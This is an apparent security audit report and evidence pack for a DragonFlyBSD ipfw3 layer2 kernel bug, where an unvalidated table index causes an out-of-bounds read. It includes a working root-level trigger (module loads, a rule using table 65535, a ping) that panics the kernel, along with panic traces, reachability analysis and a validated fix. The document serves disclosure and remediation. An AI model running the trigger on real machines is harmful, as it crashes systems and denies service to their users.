DF-0749 — Unbounded table-id index in MAC-table lookup matchers (ipfw3 layer2)

Status: REPRODUCED (panic / DoS, root-reachable).
Impact ceiling: kernel panic from root. Unprivileged escalation is impossible — kldload + ipfw3 add are both PRIV_ROOT. The primitive is a read-only OOB load; the loaded value is never dereferenced (eh-gate) and never copied to userspace (no leak).
Fix VALIDATED on a built-and-booted single-fix kernel.

Files in this evidence pack

How to reproduce (unpatched kernel)

On the DragonFlyBSD master DEV guest as root:

sysctl net.filters_default_to_accept=1     # keep ssh reachable
kldload ipfw3
kldload ipfw3_basic
kldload ipfw3_layer2
ipfw3 flush
ipfw3 add 1000 allow ip from any to any mac-from table 65535
ping -c 1 127.0.0.1

Within ~1–2 s the kernel will panic with:

Fatal trap 12: page fault while in kernel mode
fault virtual address = 0xffff...     (≈ 3.5 MB past table_ctx)
Stopped at      check_mac_from_lookup+0x37:     movq    (%rax),%rbx

Capture it from dfbsd-qemu/boot.log.

Expected on a fixed kernel

The same trigger completes; the rule is added (ipfw3 list shows it), but sending packets does not panic the kernel. The bounds-checked matcher returns IP_FW_NOT_MATCH for arg1 >= 32 and skips the OOB read entirely.

Build / run

./build.sh        # compiles trigger.c (optional; the shell trigger is sufficient)
./run.sh          # invokes the trigger (run as root on the guest)

See VERDICT.md for the full mechanism, reachability, and Phase-8 fix validation.

DF-0749 — Verdict

Verdict: REPRODUCED (panic / DoS, root-reachable). Fix VALIDATED on a built-and-booted single-fix kernel.

The bug (confirmed by source trace + live panic)

check_mac_from_lookup (sys/net/ipfw3_layer2/ip_fw3_layer2.c:109-132) and check_mac_to_lookup (sys/net/ipfw3_layer2/ip_fw3_layer2.c:152-175) index the per-CPU ctx->table_ctx[] array (32 entries, IPFW_TABLES_MAX, sys/net/ipfw3_basic/ip_fw3_table.h:39; allocated at sys/net/ipfw3_basic/ip_fw3_table.c:570) with cmd->arg1 and no bounds check:

table_ctx = ctx->table_ctx;
table_ctx += cmd->arg1;        /* line 119 / 162: NO check that arg1 < 32 */
rnh = table_ctx->node;          /* line 120 / 163: OOB load */
...
if ((*args)->eh != NULL) { ... /* eh-gate fires AFTER the OOB load */ }

cmd->arg1 is a uint16_t populated from userland by the ipfw3 rule parser with no validation:

/* lib/libipfw3/layer2/ipfw3_layer2.c:153 */
(*cmd)->arg1 = strtoul(**av, NULL, 10);

So ipfw3 add ... mac-from table 65535 (or mac-to table 65535) plants arg1 = 65535 directly into the rule. The matcher then runs on every IP packet traversing the rule and performs table_ctx += 65535 (offset 65535 × sizeof(struct ipfw3_table_context) = 65535 × 56 = 3,669,960 bytes ≈ 3.5 MB past the array), followed by an 8-byte load at that OOB address.

Crucially, the OOB load at line 120/163 executes BEFORE the (*args)->eh != NULL gate at line 124/167, so the gate does not protect against it — contradicting any "eh is always NULL so it's dormant" hand-wave. The load itself is the bug; it just happens to be benign only when the OOB address is mapped. With arg1=65535 the OOB offset is unmapped → page fault.

Reproduction

Twice, on a fresh vm.sh reset with-src (6.5-DEVELOPMENT #0, unpatched audit-source kernel), as root:

sysctl net.filters_default_to_accept=1   # keep ssh alive
kldload ipfw3; kldload ipfw3_basic; kldload ipfw3_layer2
ipfw3 flush
ipfw3 add 1000 allow ip from any to any mac-from table 65535
ping -c 1 127.0.0.1

Result (both runs, identical signature modulo fault VA / cpuid):

Fatal trap 12: page fault while in kernel mode
fault virtual address = 0xfffff80118b1f148   (run 1) / 0xfffff80118ad0a48   (run 2)
fault code            = supervisor read data, page not present
instruction pointer   = 0x8:0xffffffff826de167   (in ipfw3_layer2.ko)
Stopped at      check_mac_from_lookup+0x37:     movq    (%rax),%rbx

check_mac_from_lookup+0x37 disassembles to the movq (%rax), %rbx that implements rnh = table_ctx->node (line 120). %rax holds the OOB address; the supervisor read of an unmapped page vector-12's → kernel panic.

Reachability / Phase-6 escalation analysis (HARD BLOCKER — valid)

The primitive is an OOB read (load of table_ctx->node into a local rnh). Reaching it requires all of:

1. kldload ipfw3 + kldload ipfw3_basic + kldload ipfw3_layer2 — root only (securelevel/kld privilege check).
2. ipfw3 add ... — issues setsockopt(IPPROTO_IP, IP_FW_X, ...) which is gated by PRIV_ROOT / SYSCAP_NONET_RAW.
3. A packet traversing the rule (any IP packet, including loopback).

This is root → kernel, which the bright-line rule explicitly lists as a valid hard blocker: "reachable only from an already-root context (kldload / wheel-only ioctl …), so there is no privilege boundary to cross (root→kernel is game-over by definition)." There is no unprivileged path to the matcher — neither kldload nor IP_FW_X is callable by uid!=0.

Even setting reachability aside, the primitive itself is read-only: the OOB value lands in a local struct radix_node_head *rnh which is only dereferenced inside the eh != NULL branch (always false on the ipfw3 packet path), and is never copied to userspace. So there is no attacker-observable info leak either; the only observable effect is the page-fault panic (DoS).

Per Phase 6, two independent valid hard blockers apply (root-only reachability AND read-only primitive). No escalation chain is attempted because none is possible. The realistic impact ceiling is kernel panic (DoS) at root.

Fix

findings/poc/DF-0749/fix.diff — bounds-check cmd->arg1 against IPFW_TABLES_MAX before the table_ctx += cmd->arg1 index, in both check_mac_from_lookup and check_mac_to_lookup. Also adds the table_ctx->type == 0 || rnh == NULL guard (matching the IPv4 sibling check_from_lookup at ip_fw3_basic.c:314 shape) as defense-in-depth against using an uninitialized table. The bounds check is the load-bearing fix; the type guard prevents a separate latent issue (using a table slot that was never created). Supersedes any pre-verification proposal by placing the check at the earliest possible return point (before the OOB index), not after.

Fix validation (Phase 8)

Built a single-fix kernel + module on the guest: make -j6 nativekernel KERNCONF=X86_64_GENERIC (warm obj, ~7 min, rc=0, -Werror clean). Installed kernel.stripped → /boot/kernel/kernel and ipfw3_layer2.ko → /boot/kernel/ipfw3_layer2.ko, rebooted. kern.version bumped #0 (Jul 2) → #1 (Jul 9).

Re-ran the identical trigger on the patched kernel:

The previously-observed page fault is gone on the patched kernel, and legitimate in-bounds usage (mac-from table 0, mac-from table 31) still works correctly. Fix status: fixed.

Conclusion

• Status: reproduced (panic, deterministic, twice on fresh boot).
• Impact: panic (root-reachable DoS; primitive is read-only, unprivileged path does not exist).
• Severity as filed: Medium — agrees with the demonstrated impact ceiling.
• Fix: fix.diff, validated by built-and-booted single-fix kernel.

Same pattern as DF-0668 (sys/net/ipfw3_basic/ip_fw3_table.c dispatch handlers); same root cause class (unvalidated cmd->arg1/ioc_table->id used as array index). The IPv4 sibling check_from_lookup at ip_fw3_basic.c:311-320 has the same unbounded table_ctx += cmd->arg1 at line 312 and should receive the same fix (covered by DF-0668's scope).